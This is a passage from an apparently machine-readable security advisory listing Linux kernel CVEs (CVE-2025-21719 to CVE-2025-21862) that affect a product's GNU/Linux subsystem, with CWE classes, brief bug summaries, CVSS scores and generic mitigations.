          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21719"
    },
    {
      "cve": "CVE-2025-21726",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "padata: avoid UAF for reorder_work",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21726"
    },
    {
      "cve": "CVE-2025-21727",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "padata: fix UAF in padata_reorder",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21727"
    },
    {
      "cve": "CVE-2025-21728",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "bpf: Send signals asynchronously if !preemptible BPF programs can execute in all kinds of contexts and when a program running in a non-preemptible context uses the bpf_send_signal() kfunc, it will cause issues because this kfunc can sleep.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21728"
    },
    {
      "cve": "CVE-2025-21735",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "NFC: nci: Add bounds checking in nci_hci_create_pipe()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21735"
    },
    {
      "cve": "CVE-2025-21744",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: brcmfmac: fix NULL pointer dereference in brcmf_txfinalize()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21744"
    },
    {
      "cve": "CVE-2025-21745",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nblk-cgroup: Fix class @block_class\u0027s subsystem refcount leakage\r\n\r\nblkcg_fill_root_iostats() iterates over @block_class\u0027s devices by\r\nclass_dev_iter_(init|next)(), but does not end iterating with\r\nclass_dev_iter_exit(), so causes the class\u0027s subsystem refcount leakage.\r\n\r\nFix by ending the iterating with class_dev_iter_exit().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21745"
    },
    {
      "cve": "CVE-2025-21753",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "btrfs: fix use-after-free when attempting to join an aborted transaction",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21753"
    },
    {
      "cve": "CVE-2025-21756",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "vsock: Keep the binding until socket destruction Preserve sockets bindings; this includes both resulting from an explicit bind() and those implicitly bound through autobind during connect().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21756"
    },
    {
      "cve": "CVE-2025-21760",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ndisc: extend RCU protection in ndisc_send_skb()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21760"
    },
    {
      "cve": "CVE-2025-21761",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "openvswitch: use RCU protection in ovs_vport_cmd_fill_info()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21761"
    },
    {
      "cve": "CVE-2025-21762",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: arp: use RCU protection in arp_xmit() arp_xmit() can be called without RTNL or RCU protection. Use RCU protection to avoid potential UAF.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21762"
    },
    {
      "cve": "CVE-2025-21763",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "neighbour: use RCU protection in __neigh_notify()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21763"
    },
    {
      "cve": "CVE-2025-21764",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ndisc: use RCU protection in ndisc_alloc_skb()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21764"
    },
    {
      "cve": "CVE-2025-21765",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ipv6: use RCU protection in ip6_default_advmss() ip6_default_advmss() needs rcu protection to make sure the net structure it reads does not disappear.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21765"
    },
    {
      "cve": "CVE-2025-21772",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "partitions: mac: fix handling of bogus partition table",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21772"
    },
    {
      "cve": "CVE-2025-21776",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "USB: hub: Ignore non-compliant devices with too many configs or interfaces. A test program can cause usb_hub_to_struct_hub() to dereference a NULL or inappropriate pointer.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21776"
    },
    {
      "cve": "CVE-2025-21787",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "team: better TEAM_OPTION_TYPE_STRING validation",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21787"
    },
    {
      "cve": "CVE-2025-21795",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "NFSD: hang in nfsd4_shutdown_callback. If nfs4_client is in courtesy state then there is no point to send the callback. This causes nfsd4_shutdown_callback to hang since cl_cb_inflight is not 0. This hang lasts about 15 minutes until TCP notifies NFSD that the connection was dropped.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21795"
    },
    {
      "cve": "CVE-2025-21796",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "nfsd: clear acl_access/acl_default after releasing them If getting acl_default fails, acl_access and acl_default will be released simultaneously.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21796"
    },
    {
      "cve": "CVE-2025-21806",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: let net.core.dev_weight always be non-zero. The following problem was encountered during stability test: (NULL net_device).",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21806"
    },
    {
      "cve": "CVE-2025-21814",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ptp: Ensure info-\u003eenable callback is always set",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21814"
    },
    {
      "cve": "CVE-2025-21826",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: reject mismatching sum of field_len with set key length\n\nThe field length description provides the length of each separated key\nfield in the concatenation, each field gets rounded up to 32-bits to\ncalculate the pipapo rule width from pipapo_init(). The set key length\nprovides the total size of the key aligned to 32-bits.\n\nRegister-based arithmetics still allows for combining mismatching set\nkey length and field length description, eg. set key length 10 and field\ndescription [ 5, 4 ] leading to pipapo width of 12.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21826"
    },
    {
      "cve": "CVE-2025-21835",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "usb: gadget: f_midi: fix MIDI Streaming descriptor lengths",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21835"
    },
    {
      "cve": "CVE-2025-21844",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "smb: client: Add check for next_buffer in receive_encrypted_standard()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21844"
    },
    {
      "cve": "CVE-2025-21846",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "acct: perform last write from workqueue",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21846"
    },
    {
      "cve": "CVE-2025-21858",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "geneve: Fix use-after-free in geneve_find_dev()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21858"
    },
    {
      "cve": "CVE-2025-21859",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "USB: gadget: f_midi: f_midi_complete to call queue_work",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21859"
    },
    {
      "cve": "CVE-2025-21862",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "drop_monitor: incorrect initialization order. If drop_monitor is built as a kernel module, syzkaller may have time to send a netlink NET_DM_CMD_START message during the module loading. This will call the net_dm_monitor_start() function that uses a spinlock that has not yet been initialized.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
